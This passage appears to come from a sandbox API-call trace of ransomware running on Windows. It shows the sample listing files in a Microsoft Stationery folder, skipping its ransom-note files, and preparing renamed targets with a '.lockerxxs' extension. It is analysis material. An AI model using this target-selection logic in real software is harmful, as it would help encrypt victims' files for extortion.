Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.771] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.771] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.771] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.771] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Garden.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" [0058.771] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" [0058.771] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" [0058.771] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg." [0058.771] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.lockerxxs" [0058.771] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.771] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x4f8270, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0058.771] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.772] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Genko_1.emf") returned -1 [0058.772] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Genko_1.emf") returned 1 [0058.772] lstrcmpiA (lpString1="", lpString2="Genko_1.emf") returned -1 [0058.772] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned="Garden.jpg" [0058.772] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.772] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.772] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.772] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.772] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Genko_1.emf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" [0058.772] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0058.772] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.772] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Genko_2.emf") returned -1 [0058.772] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Genko_2.emf") returned 1 [0058.772] lstrcmpiA (lpString1="", lpString2="Genko_2.emf") returned -1 [0058.772] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned="Genko_1.emf" [0058.772] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.772] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.772] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.772] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.773] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Genko_2.emf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" [0058.773] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0058.773] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.773] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Graph.emf") returned -1 [0058.773] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Graph.emf") returned 1 [0058.773] lstrcmpiA (lpString1="", lpString2="Graph.emf") returned -1 [0058.773] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned="Genko_2.emf" [0058.773] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.773] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.773] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.773] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.773] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Graph.emf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" [0058.773] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0058.773] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.773] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Green Bubbles.htm") returned -1 [0058.774] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Green Bubbles.htm") returned 1 [0058.774] lstrcmpiA (lpString1="", lpString2="Green Bubbles.htm") returned -1 [0058.774] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned="Graph.emf" [0058.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.774] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.774] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.774] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.774] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Green Bubbles.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" [0058.774] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" [0058.774] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" [0058.774] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm." [0058.774] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.lockerxxs" [0058.774] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.775] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0058.775] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.775] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GreenBubbles.jpg") returned -1 [0058.776] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GreenBubbles.jpg") returned 1 [0058.776] lstrcmpiA (lpString1="", lpString2="GreenBubbles.jpg") returned -1 [0058.776] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned="Green Bubbles.htm" [0058.776] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.776] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.776] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.776] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.776] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="GreenBubbles.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" [0058.776] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" [0058.776] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" [0058.776] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg." [0058.776] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.lockerxxs" [0058.776] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.776] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0058.776] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.776] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="grid_(cm).wmf") returned -1 [0058.776] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="grid_(cm).wmf") returned 1 [0058.777] lstrcmpiA (lpString1="", lpString2="grid_(cm).wmf") returned -1 [0058.777] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned="GreenBubbles.jpg" [0058.777] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.777] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.777] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.777] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.777] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="grid_(cm).wmf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" [0058.777] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0058.777] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.777] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="grid_(inch).wmf") returned -1 [0058.777] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="grid_(inch).wmf") returned 1 [0058.777] lstrcmpiA (lpString1="", lpString2="grid_(inch).wmf") returned -1 [0058.777] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned="grid_(cm).wmf" [0058.777] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.777] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.777] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.777] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.778] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="grid_(inch).wmf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" [0058.778] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0058.778] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.778] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Hand Prints.htm") returned -1 [0058.778] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Hand Prints.htm") returned 1 [0058.778] lstrcmpiA (lpString1="", lpString2="Hand Prints.htm") returned -1 [0058.778] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned="grid_(inch).wmf" [0058.778] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.778] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.778] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.778] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.778] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Hand Prints.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" [0058.779] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" [0058.779] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" [0058.779] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.") returned="C:\\Program Files\\Common 